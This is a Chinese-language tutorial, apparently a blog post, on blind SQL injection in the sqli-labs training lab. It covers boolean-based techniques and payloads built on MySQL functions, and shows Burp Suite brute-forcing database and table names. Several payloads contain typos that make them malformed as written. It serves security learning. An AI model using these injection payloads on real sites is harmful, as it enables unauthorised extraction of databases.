一、什么是盲注
盲注就是在sql注入当中,在执行sql语句的时候由于网站代码的限制,或者是解析器的配置导致网页前端不能回显数据。如果存在先错注入,我们可以构造select语句,将需要的信息在合适的位置显示出来,在进行下一步的测试。
我们使用sqli——labs里的第一关做有回显的。
来看第五关:我们在源码里面加上一个代码,让他可以显示出我们传递参数的地方构造的sql语句。
盲注意味着web页面不会显示错误sql语句执行的结果,我们需要判断sql语句是否正确执行。
盲注的分类可以分为两种,一种是布尔类型的盲注,另一种就是延时注入。
布尔类型的盲注:根据页面显示是否正确,来判断我们提交的语句是否正确执行
延时注入:是根据页面加载时间来进行判断。
盲注的优缺点:
优点:不需要显示位和出错信息
缺点:速度慢,耗时长,不过可以使用bp工具来进行fuzz
布尔类型盲注的操作步骤:
1、构造目标查询语句
2、选择拼接方式
3、构造判断表达式
4、提取数据长度
5、提取数据内容
二、Mysql数据库相关函数
length(str):返回str字符串的长度
select length(database()) //该语句就可以返回数据库的长度
payload= id=1'and length(database())=8--+ //判断数据库长度是否位8 如果是8则返回正常页面反之错误页面。
substr(str):截取字符串函数
select substr('email',4,2) = "il" //有三个参数,str pos len ,第一个参数就是我们的sql语句,第二个参数表示从第几个字符开始,第三个参数就是取几位。从pos位置取str位置的len值.如果pos位负数,则为倒数第几个,-4 就为倒数第四个 结果结尾 ma
payload=id=1' and substr((select database())1,1)='a'--+ //判断当前数据库第一位字符是否等于'a'如果等于返回正常界面,反之错误界面。
正则表达式:regexp
正则表达式语法:regexp ^[a-z]表示字符串中第一个字符实在a-z范围。^a 表示第一个字符为a。regexp ^ab 表示前俩字符为ab。
payload: id=1'and (select databse()) regexp '^a' --+ //判断数据库第一个字符是否为a。
like函数:
语法:like 'a%' 表示第一个字符为a。'ab%'表示前俩字符为ab
注意:'%'在url中输入的时候需要编码,为'25%'.
payload: id=1' and (select database()) like 'a25%'--+
if条件判断语句:正确返回的值,错误返回的值。
if (exp1,exp2,exp3):当exp1的判断结果为true时返回exp2,否则返回exp3.
payload= id =1' if(((select databse())like '%p'),1,0)--+ //使用if和like函数,如果数据库第一个字符为p,则返回1否则为0.
left:
payload:id=1' and left(databse(),1)='s'--+ //数据库第一位是否为s,如果是返回正确页面否则返回错误界面。
三、利用burp suite工具来进行盲注
手工测试太麻烦了我们可以结合burpsuite进行爆破。
确定参数,这里为了省时间,我就没有加特殊符号用的26个英文字母跑的。
payload:id=1' and substr(database(),1,1)='a'--+
注意现在url里输入在抓包,因为bp里面是url编码后的。
这样就知道了当前数据库第一个字符。
我们可以在加一个变量,是substr的第二个参数改变,已知数据库长度为8,使用集数炸弹即可爆出所有字段。
这里节省时间就直接26字母了没有加特殊符号。而且mysql数据库大小写不敏感。
第一个payload就是1-8数字
就相当于第一位从26位字母里爆然后继续第二位以此类推,最后排序找到完整数据库名
第三位就是c这里图太多就不放上来了,得到数据库名,security。
得到库名我们可以继续爆表明,payload的思路也是同理,表名无非就是26字母加特殊符号,先爆出来表的长度,再根据长度进行表名的爆破。因为一个库里面不一定有几个表呢。
payload:id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1--+
把参数1爆破,先来1-100.最后跑出来位29
知道了所有表的长度就可以来爆破表名了,和爆破数据库名同理,改变substr第二个参数为1-29.
payload:
id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'--+
如上图可以看到第一个字符为e正确,换行也占用一个字符,将他们排序即可获取到表名。
继续爆字段的话也是同理,实战的时候别忘了加上特殊符号。
版权归原作者 挽留就不会走吗 所有, 如有侵权,请联系我们删除。